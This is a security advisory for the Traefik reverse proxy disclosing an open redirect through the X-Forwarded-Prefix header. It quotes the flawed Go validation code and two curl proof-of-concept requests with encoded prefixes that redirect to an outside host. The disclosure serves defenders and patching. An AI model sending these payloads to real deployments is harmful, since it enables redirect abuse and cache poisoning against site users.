GHSA-h924-8g65-j9wg

### Impact

There is a vulnerability in Traefik that allows the client to provide the `X-Forwarded-Prefix` header from an untrusted source.

### Patches

- https://github.com/traefik/traefik/releases/tag/v2.11.14 - https://github.com/traefik/traefik/releases/tag/v3.2.1

### Workarounds

No workaround.

### For more information

If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).

<details> <summary>Original Description</summary> ### Summary The previously reported open redirect ([GHSA-6qq8-5wq3-86rp](https://github.com/traefik/traefik/security/advisories/GHSA-6qq8-5wq3-86rp)) is not fixed correctly. The safePrefix function can be tricked to return an absolute URL.

### Details The Traefik API [dashboard component](https://github.com/traefik/traefik/blob/master/pkg/api/dashboard/dashboard.go) tries to validate that the value of the header X-Forwarded-Prefix is a site relative path: ```go http.Redirect(resp, req, safePrefix(req)+"/dashboard/", http.StatusFound) ```

```go func safePrefix(req *http.Request) string { prefix := req.Header.Get("X-Forwarded-Prefix") if prefix == "" { return "" }

parse, err := url.Parse(prefix) if err != nil { return "" }

return parse.Path } ```

### PoC An attacker can bypass this by sending the following payload:

```bash curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %0d//a.com' [...] > HTTP/1.1 302 Found > Location: //a.com/dashboard/ ```

or similar:

```bash curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %2f%2fa.com' [...] > HTTP/1.1 302 Found > Location: //a.com/dashboard/ ```

### Impact Similar to the previously reported bug. In cache poisoning scenarios this may be exploitable. </details>